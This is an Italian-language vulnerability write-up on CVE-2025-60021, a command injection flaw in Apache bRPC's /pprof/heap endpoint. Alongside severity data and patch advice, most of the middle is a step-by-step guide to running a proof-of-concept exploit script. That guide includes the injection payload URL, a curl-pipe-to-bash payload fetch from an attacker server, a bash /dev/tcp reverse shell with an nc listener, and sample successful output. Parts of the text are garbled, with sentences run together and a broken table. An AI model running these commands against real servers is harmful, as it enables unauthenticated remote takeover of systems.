
CVE-2025-60021

CVE-2025-60021 è una vulnerabilità critica di iniezione remota di comandi presente nel servizio integrato di heap profiler (/pprof/heap) di Apache bRPC nelle versioni precedenti alla 1.15.0, che consente ad attaccanti non autenticati di eseguire comandi arbitrari del sistema operativo. (NVD)
| Attributo | Informazione |
|---|---|
| Nome / ID | CVE-2025-60021 |
| Prodotto | Apache bRPC (tutte le piattaforme) |
| Versioni Interessate | < 1.15.0 |
| Data di Pubblicazione | 16 Gen 2026 (NVD) |
| Tipo di Vulnerabilità | Iniezione Remota di Comandi (CWE-77) (NVD) |
| Endpoint | /pprof/heap |
| Innesco | Parametro extra_options non sanificato |
| Causa Principale | Input non validato prima dell'esecuzione come comando del sistema operativo (openwall.com) |
❗Gli attaccanti possono iniettare comandi da remoto semplicemente manipolando questo parametro di profilazione.
🔥 Valutazione di Gravità: Critica
📊 Punteggio Base CVSS v3.1: 9.8 / 10
Vettore: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (INCIBE)
👉 Ciò significa che gli attaccanti possono eseguire comandi arbitrari da remoto senza autenticazione: uno scenario da worst-case per i servizi esposti.
/pprof/heap) destinato all'analisi della memoria (jemalloc). (openwall.com)extra_options. Invece di sanificarlo, bRPC lo passa direttamente alla shell del sistema operativo. (openwall.com)Si presuppone che tu abbia salvato lo script come CVE-2025-60021.py (anche se il CVE reale è 2025-60021—sentiti libero di rinominarlo). È uno script Python 3 per dimostrare la vulnerabilità di iniezione remota di comandi nell'heap profiler di Apache bRPC. Esegui questo script solo su sistemi di tua proprietà o per i quali hai un'esplicita autorizzazione scritta al test: sfruttare la vulnerabilità senza autorizzazione è illegale.
Ambiente Python: Assicurati di avere Python 3 installato (es. 3.6+). Lo script utilizza moduli integrati più requests e argparse (che sono standard o facili da installare).
Installa le Dipendenze: Se non è già presente, installa la libreria requests:
pip install requests
Configurazione del Target: Hai bisogno di un server Apache bRPC vulnerabile:
http://localhost:8060 o un IP/porta remoti).
Se testi in locale, configura un'istanza bRPC vulnerabile (es. tramite Docker o build dal sorgente—fai riferimento alla documentazione di Apache bRPC).Permessi: Esegui con sudo solo se necessario per l'accesso di rete o i privilegi; altrimenti, il semplice python3 è sufficiente.
Copia il codice PoC fornito in precedenza in un file denominato CVE-2025-60021.py. Rendilo eseguibile se lo desideri:
chmod +x CVE-2025-60021.py
Lo script accetta due argomenti posizionali obbligatori:
target: L'URL del server bRPC vulnerabile (es. http://192.168.1.100:8060 o http://targets:8060—correggi eventuali refusi come schema mancante o host non valido).cmd: Il comando da eseguire sul target (es. "id" per le informazioni utente, o qualcosa di più complesso come "curl http://your-server/reverse-shell.sh | bash" per una reverse shell). Usa && o ; per concatenare più comandi.Apri un terminale (es. in Kali Linux, come stai facendo) ed eseguilo con il tuo target e comando. Comandi di esempio:
Test di base (ottieni informazioni di sistema):
sudo python3 CVE-2025-60021.py http://targets:8060 "id && whoami && uname -a"
Esempio di reverse shell (sostituisci your-listener-ip e la porta; configura prima un listener come nc -lvnp 4444):
sudo python3 CVE-2025-60021.py http://targets:8060 "bash -i >& /dev/tcp/your-listener-ip/4444 0>&1"
Se usi HTTPS o una porta diversa, regola l'URL di conseguenza (es. https://target:443—lo script lo gestisce, ma aggiungi --insecure se ci sono problemi di certificato).
Indicatori di Successo:
uid=0(root)... se ha eseguito id).Indicatori di Errore (come quelli che hai visto):
--enable_heap_profiler=true) e riavvia il server.cmd—includilo sempre.echo "test" > /tmp/proof.txt) e verifica il file sul target.; non funziona, prova && o | per la concatenazione. Codifica nell'URL i caratteri speciali se necessario (lo script gestisce la maggior parte)./pprof/heap.Se l'exploit ha avuto successo su un target vulnerabile (es. heap profiler abilitato, bRPC non patchato <1.15.0), l'output nel tuo terminale apparirà più o meno così (i dettagli esatti dipendono dallo stdout del comando e dalla configurazione del server):
[*] Sending payload to: http://targets:8060/pprof/heap?extra_options=%3B+id+%26%26+whoami+%26%26+uname+-a+%23
[*] Executing command: id && whoami && uname -a
[+] Exploit likely succeeded! (200 OK)
[+] Check your listener / server logs for output
Response body (possible command output):
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
user
Linux target-host 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-29) x86_64 GNU/Linux
[followed by heap profile data or binary-ish output from jemalloc, like memory stats or a dump]
I segni chiave: stato 200 OK e, se il tuo comando (come id && whoami && uname -a) produce output, potrebbe apparire nel corpo della risposta (mescolato ai dati spuri del profiler). Per i comandi silenziosi (es. reverse shell), controlla il server target o il tuo listener per attività: nessuna conferma diretta dal terminale oltre al 200. 😈
/pprof/heap da reti non fidate.✔ Gli attaccanti non hanno bisogno di credenziali. ✔ Funziona tramite la rete. ✔ Colpisce tutte le piattaforme che utilizzano bRPC vulnerabile. ✔ Può portare alla compromissione totale del sistema.
Le aziende che utilizzano bRPC per servizi critici (es. ricerca, storage, pipeline di machine learning) sono particolarmente a rischio perché questa falla trasforma uno strumento diagnostico in un vettore di attacco. (Daily CyberSecurity)
⚠ EPSS (Exploit Prediction): Alcuni feed indicano finora una bassa osservazione di exploit, ma la facilità di sfruttamento significa che potrebbe essere utilizzato rapidamente in attacchi reali. (Tenable®)
📌 Classificazione: CWE-77 — Neutralizzazione Impropria di Elementi Speciali in un Comando (Command Injection). (NVD)
Se stai eseguendo Apache bRPC in produzione — applica subito la patch e limita l'accesso agli endpoint diagnostici per ridurre il rischio.
| Categoria di Impatto | Effetto |
|---|
| Riservatezza | Alto | |
| Integrità | Alto | |
| Disponibilità | Alto | |
| Vettore di Attacco | Rete | |
| Privilegi | Nessuno richiesto | |
| Interazione Utente | Nessuna necessaria | (INCIBE) |